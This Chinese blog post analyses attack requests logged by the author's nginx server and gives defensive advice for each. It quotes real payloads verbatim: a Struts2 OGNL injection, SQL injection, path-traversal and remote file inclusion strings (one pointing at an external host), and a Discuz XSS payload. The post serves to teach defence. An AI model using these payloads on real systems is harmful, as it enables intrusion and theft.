目录

「Web安全」Nginx攻击日志分析

服务器安全分析:常见攻击类型与防范措施

最近查看百度云加速的报表统计,发现攻击拦截数再次达到100+。随着攻击成本不断降低,这类攻击越来越频繁。今天决定分析一下nginx日志,看看这些攻击都是什么类型的。

一、任意代码执行

1. Nginx日志

/?class.classLoader.jarPath=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false),#_memberAccess["allowStaticMethodAccess"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)&z[(class.classLoader.jarPath)('meh')]=true

2. URL Decode后的请求

/?class.classLoader.jarPath=(#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean(false),#_memberAccess["allowStaticMethodAccess"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str='814F60BD-F6DF-4227-',#b_str='86F5-8D9FBF26A2EB',#a_resp=@org.apache.struts2.ServletActionContext@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)&z[(class.classLoader.jarPath)('meh')]=true

3. 攻击分析

从请求可以看出,这是一次针对JSP的Struts2框架漏洞扫描。这类扫描在日志中非常常见。

详细分析参考:Struts2框架漏洞分析

4. 防范分析

  1. 请求长度限制:正常访问很少有255+字符长度的请求,可限制这类"臃肿"请求。
  2. 特殊字符过滤:针对项目中不常用但代码中频繁出现的字符(如 ' "),禁止包含这些字符的请求。
  3. 代码审计工具:可使用"Seay源代码审计系统"进行PHP代码审计,但需注意其正则匹配不够智能,需要人工判断。

二、SQL注入攻击

1. Nginx日志

/?message=angelina " or 8281=(select 8281 from information_schema.TABLES limit 1) or "8281"="8282

2. URL Decode后的请求

/?message=angelina " or 8281=(select 8281 from information_schema.TABLES limit 1) or "8281"="8282

3. 攻击分析

SQL注入的常用手法是直接将"外界输入"作为查询参数,通过截断原有SQL构造特殊查询语句,如查询后台管理员密码等。

4. 防范分析

  1. 输入验证:不要相信任何"外界输入"(GET、POST、Cookie、HTTP_REFERER等),必须进行安全过滤。
  2. 预处理查询:使用查询条件预处理防止SQL注入。
  3. 数据库分权:程序连接数据库使用非根账号,每个账号仅管理一个数据库并授予最低权限。

三、文件包含

1. Nginx日志

/Article/show/id/30.html?pid=../../../../../../../../../../etc/rc.d/rc.local%00
/photo/index.html?p=c:/windows/win.ini%00
/?message=http://cirt.net/rfiinc.txt%00.php

2. 攻击分析

  1. 以上请求分别针对Linux和Windows的文件包含漏洞,黑客常试图包含系统敏感文件。
  2. 第三条请求使用了%00转义攻击,使txt文件被当作PHP解析。

3. 防范分析

  1. 路径请求过滤:限制使用../../这类相对路径的请求。
  2. 权限管理:Linux服务器不应使用root用户运行程序,使用特定用户并授予最低权限。
  3. Windows安全策略:对Windows服务器进行目录权限限制。
  4. 目录隔离:将程序入口文件转移到公共可访问目录,并限制程序进程逃逸出该目录。

四、XSS攻击

1. Nginx日志

/connect.php?receive=yes&mod=login&op=callback&referer=xyz%bf\x5Cu0027.replace(/.%2b/,/javascript:alert(511265478)/.source);

2. 攻击分析

这是一个针对Discuz登录回调的XSS攻击,通过隐藏的JavaScript代码实现攻击。这类攻击是前端安全问题的典型代表,手段更加隐蔽。

3. 防范分析

不要相信任何"外界输入",即使只是用于前端显示。推荐阅读《Web前端黑客技术揭秘》(钟晨鸣、徐少培著)。

五、网页后门

1. Nginx日志

/admin/login.jsp
/wp-admin/admin.php?page=leaguemanager-export

2. 攻击分析

自动扫描工具常扫描adminlogin等常见路径,尤其是WordPress默认管理后台地址。

3. 防范分析

  1. 避免使用常见路径:不要使用login等常见名称作为后台地址。
  2. 保持更新:使用WordPress时保持最新版本,注意插件安全性。

六、信息泄露

1. Nginx日志

/phpinfo.php
/test.php
/info.php

2. 攻击分析

很多站长在建站过程中会遗留测试文件,如phpinfo.php

3. 防范分析

  1. 及时清理:及时删除不需要的测试文件。
  2. 目录检查:上传到服务器的文件目录需确认是否包含测试代码。
  3. 安装清理:CMS安装完成后及时删除安装目录。

结束语

“学东西最怕的就是’知其然而不知其所以然’。“网络降低了学习成本,但也降低了学习者对知识本质的把握。

很多安全问题都是由"不小心"的细节导致的。例如,很多项目中残留的kindeditor目录,里面包含测试代码,可导致路径暴露、任意文件上传等问题。

安全无小事,希望每位开发者在开发过程中都能更加注重安全细节。

推荐深入阅读:

  • 《白帽子讲web安全》(吴翰清著)
  • 《Web前端黑客技术揭秘》(钟晨鸣、徐少培著)

本文为原创技术文章,如需转载,请邮件联系作者(Zoa Chou)获得授权。请尊重原创作者的劳动成果,不要简单复制粘贴而不注明出处。